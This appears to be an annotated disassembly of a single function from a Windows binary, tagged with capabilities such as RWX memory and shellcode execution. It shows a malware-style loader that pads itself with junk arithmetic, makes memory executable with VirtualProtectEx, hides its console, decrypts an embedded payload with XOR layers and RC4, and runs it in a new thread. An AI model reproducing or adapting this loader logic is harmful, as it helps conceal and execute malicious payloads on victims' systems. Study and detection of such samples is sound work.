Function at 0x402860
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
lea ebp, [esp - 0x198]
sub esp, 0x218
mov eax, dword [0x478d00]
xor eax, ebp
mov dword [ebp + 0x194], eax
push esi
push edi
push str.Welcome_back__little_guy_
push 0x479cb8
call fcn.004010d0
mov edi, eax
add esp, 8
mov ecx, dword [edi]
mov ecx, dword [ecx + 4]
mov ecx, dword [ecx + edi + 0x30]
mov esi, dword [ecx + 4]
mov ecx, esi
mov dword [ebp - 0x74], esi
mov edx, dword [esi]
call dword [edx + 4]
lea eax, [ebp - 0x78]
push eax
call fcn.00401480
add esp, 4
mov ecx, eax
mov edx, dword [eax]
push 0xa
mov eax, dword [edx + 0x20]
call eax
mov byte [ebp - 0x74], al
test esi, esi
je 0x4028d8
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 8]
test eax, eax
je 0x4028d8
mov edx, dword [eax]
mov ecx, eax
push 1
call dword [edx]
push ebx
push dword [ebp - 0x74]
mov ecx, edi
call fcn.00402600
mov ecx, edi
call fcn.004023d0
mov dword [ebp - 0x7c], 0
inc di
imul ecx
sub edi, ebx
shl eax, 0xcb
rcr si, 0x89
rol cx, 0x66
mul esi
imul edx
imul edx
imul dx
and ax, dx
rol ecx, 0x96
rol ebx, 0x40
mul bx
mov cx, 0x373
shr di, 0x79
sub di, si
add eax, 0x65
mul cx
imul di
mov bx, dx
movzx eax, dl
sub cx, ax
inc eax
jne 0x40295f
test ecx, 0x41
ja 0x40298f
mov esi, 8
shl eax, 0x5b
inc dx
ror edi, 0xc9
inc esi
xor ecx, edx
add bx, 0x2e5
shr cx, 0xd7
mov edx, 0x2dd
jmp 0x40296b
or eax, 0x397
xor di, 0x1ae
or edi, edx
shl ax, 0x6b
imul si
rcl edx, 0xab
ja 0x40298f
cmp ebx, 0x43
jae 0x4029e8
shr di, 0x10
ror ebx, 0xf4
dec si
movsx edx, cl
inc si
mov edi, edi
inc ebx
jmp 0x40299f
shl cx, 0x27
xor ebx, edx
shl ebx, 0x6a
mul ecx
imul ecx
imul ax
add si, bx
mov bx, 0x27f
imul edi
mul eax
add bx, ax
imul bx
add edi, ecx
rol dx, 0x7a
xor si, 0x345
sub ax, 0x3c3
jb 0x4029e8
cmp eax, 0x4b
jne 0x402a22
rcl eax, 0xd
sub eax, 0x30
shl eax, 0x10
sub dx, 0x1af
and cx, di
and ecx, 0x12b
dec di
or bx, 0x77
shl edi, 0x2d
jmp 0x402a06
imul edx
or bx, 0xd8
add cx, bx
imul esi
imul eax
rcl bx, 0xd7
mov dx, dx
movsx eax, ax
dec si
ror di, 0xa5
dec eax
xor esi, esi
jne 0x402a22
cmp edx, 0x2a
jb 0x402a60
shr edx, 0x1a
mov edi, 0x2d7
ror ebx, 0xeb
sub eax, 0x221
jmp 0x402a2f
inc eax
xor edi, 0x247
xor edx, 0x236
rcl bx, 0xde
shl si, 0xdf
imul ebx
dec ebx
shr cx, 0x7f
jae 0x402a60
add dx, 4
movzx edi, dh
ror bx, 0xd5
rcr ax, 0x7e
dec esi
sub ax, ax
dec di
shl ebx, 0x3c
rcl bx, 0xff
xor edi, edx
jmp 0x402a78
imul ax
rcr di, 0x74
shl eax, 0xee
shl di, 0xba
dec dx
inc eax
ror edi, 0x9b
ror bx, 0x70
rcr si, 0xf0
jne 0x402a9f
inc dx
shl bx, 0xf2
rcl ax, 0xec
movzx esi, dx
sub si, 0x1ab
dec edi
movzx ecx, dh
ror ebx, 0x19
sub esi, 0x2cc
jmp 0x402aa7
rcl esi, 0xf9
mov bx, di
inc dx
movzx eax, si
jb 0x402ab9
test eax, 0x59
jb 0x402b25
sub bx, 0x66
jmp 0x402ad2
rcl edx, 0x8a
ror dx, 0x8c
dec ax
shl edx, 0x8d
mul edi
sub cx, 0x39a
sub bx, ax
inc ecx
sub esi, eax
or eax, ecx
rol cx, 0xfe
mov esi, 0x36c
rcr ecx, 0xdf
ror edx, 0x29
shl bx, 0x33
rol ax, 0xc8
or cx, 0x16b
rol si, 0xf1
imul cx
jb 0x402b25
test esi, 0x3c
ja 0x402b70
rol edx, 0x1e
add si, 0x68
shr eax, 0xe8
shr bx, 0xb8
rcl eax, 0x8b
mul dx
inc si
add cx, 0x3bf
shl edx, 0x51
rcl di, 0x57
jmp 0x402b3c
rcr si, 0xa3
shl esi, 0x7d
shr dx, 0x3b
rcl si, 0xd1
shr cx, 0x10
shl bx, 0xce
shl eax, 0x3c
ror ebx, 0xe8
ror edx, 0xf8
ror si, 0xbc
shr ax, 0xc5
and di, 0x16e
or di, cx
rol esi, 0xee
and di, dx
ror ebx, 0x70
jb 0x402b70
movzx eax, cl
inc ax
and di, cx
rol ebx, 0xbd
mov ax, si
jmp 0x402b76
inc si
rcr bx, 0xff
shr di, 0x9d
movsx esi, cl
imul ecx
or edi, eax
sub edi, eax
rcl dx, 0xb5
rol di, 0x27
imul ax
rol ax, 0xa1
imul dx
jb 0x402ba1
shl esi, 0x3c
imul esi
movzx eax, cx
jmp 0x402bac
movzx edx, ax
imul di
dec ecx
mul ebx
dec ax
and dx, 0x184
movsx edx, cx
add eax, 0x1d7
shl eax, 0xff
je 0x402be6
test ecx, 0x10
ja 0x402c07
add ebx, ecx
rol esi, 0x48
rcr dx, 0x23
rcl ax, 2
mul ax
mul esi
or edx, esi
shr edi, 0x7c
rol ax, 0xef
movsx edx, bx
jmp 0x402beb
mov eax, 0x2a0
sub cx, 0x1d4
jb 0x402c07
test esi, 0xb
je 0x402c3f
inc cx
or edi, 0x3e4
sub si, cx
jmp 0x402c1f
shl ebx, 0x36
and ebx, esi
rcr eax, 0x67
shr esi, 0xf1
imul esi
xor eax, esi
sub edx, ebx
ror ax, 0xac
rcr ebx, 0x80
imul ecx
shl si, 0xfd
jae 0x402c3f
dec eax
shl edx, 0xeb
sub di, 0x3f
mul ax
or si, 0xdd
rcr dx, 0x5e
xor esi, esi
jmp 0x402c4a
shr edx, 0xf5
rol dx, 0xac
dec edx
and di, dx
ror cx, 0x8a
lea eax, [ebp - 0x7c]
push eax
push 0x40
push 0x4ac
push 0x478820
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
call dword [sym.imp.KERNEL32.dll_FreeConsole]
movaps xmm1, xmmword [0x4223f0]
xor eax, eax
movaps xmm2, xmmword [0x422400]
movaps xmm3, xmmword [0x4223c0]
movaps xmm4, xmmword [str.________________NNNNNNNNNNNNNNNNjjjjjjjjjjjjjjjjllllllllllllllllppppppppppppppppsssssssssssssssstttttttttttttttt]
movaps xmm5, xmmword [0x4223a0]
mov dword [ebp - 0x80], 0
nop dword [eax + eax]
movups xmm0, xmmword [eax + 0x478820]
xorps xmm0, xmm1
psubb xmm0, xmmword [0x4223d0]
xorps xmm0, xmm2
paddb xmm0, xmmword [0x4223b0]
xorps xmm0, xmmword [0x4223e0]
psubb xmm0, xmmword [0x422410]
paddb xmm0, xmm3
xorps xmm0, xmm4
psubb xmm0, xmmword [0x4223f0]
xorps xmm0, xmm5
movups xmmword [eax + 0x478820], xmm0
add eax, 0x10
cmp eax, 0x4a0
jb 0x402ca0
cmp eax, 0x4ac
jae 0x402d2f
nop word [eax + eax]
mov cl, byte [eax + 0x478820]
xor cl, 0x73
sub cl, 0x6c
xor cl, 0x74
add cl, 0x4e
xor cl, 0x70
sub cl, 0x65
xor cl, 0x22
sub cl, 0x73
xor cl, 0x2a
mov byte [eax + 0x478820], cl
inc eax
cmp eax, 0x4ac
jb 0x402d00
xor ecx, ecx
mov eax, ecx
mov byte [ebp + ecx + 0x94], cl
and eax, 0x1f
mov al, byte [eax + section..data]
mov byte [ebp + ecx - 0x6c], al
inc ecx
cmp ecx, 0x100
jl 0x402d31
xor esi, esi
xor edi, edi
nop dword [eax]
nop dword [eax + eax]
mov dl, byte [ebp + esi + 0x94]
movzx eax, byte [ebp + esi - 0x6c]
add edi, eax
movzx ecx, dl
add edi, ecx
and edi, 0x800000ff
jns 0x402d83
dec edi
or edi, 0xffffff00
inc edi
mov al, byte [ebp + edi + 0x94]
mov byte [ebp + esi + 0x94], al
inc esi
mov byte [ebp + edi + 0x94], dl
cmp esi, 0x100
jl 0x402d60
xor edi, edi
xor ecx, ecx
mov dword [ebp - 0x70], ecx
mov dword [ebp - 0x74], ecx
nop dword [eax + eax]
inc edi
and edi, 0x800000ff
jns 0x402dc1
dec edi
or edi, 0xffffff00
inc edi
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_OffsetRgn]
mov bl, byte [ebp + edi + 0x94]
mov eax, dword [ebp - 0x70]
movzx esi, bl
add eax, esi
and eax, 0x800000ff
jns 0x402dea
dec eax
or eax, 0xffffff00
inc eax
push str.Sleep_and_Warming
mov dword [ebp - 0x70], eax
call fcn.00402e90
mov ecx, dword [ebp - 0x70]
add esp, 4
mov al, byte [ebp + ecx + 0x94]
mov byte [ebp + edi + 0x94], al
mov byte [ebp + ecx + 0x94], bl
movzx eax, byte [ebp + edi + 0x94]
mov ecx, dword [ebp - 0x74]
add eax, esi
movzx eax, al
mov al, byte [ebp + eax + 0x94]
xor byte [ecx + 0x42c020], al
inc ecx
mov dword [ebp - 0x74], ecx
cmp ecx, 0x4c800
jl 0x402db0
pop ebx
lea eax, [ebp - 0x80]
push eax
push 0
push 0x42c020
push 0x4789a8
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp + 0x194]
xor eax, eax
pop edi
xor ecx, ebp
pop esi
call fcn.00404f15
lea esp, [ebp + 0x198]
pop ebp
ret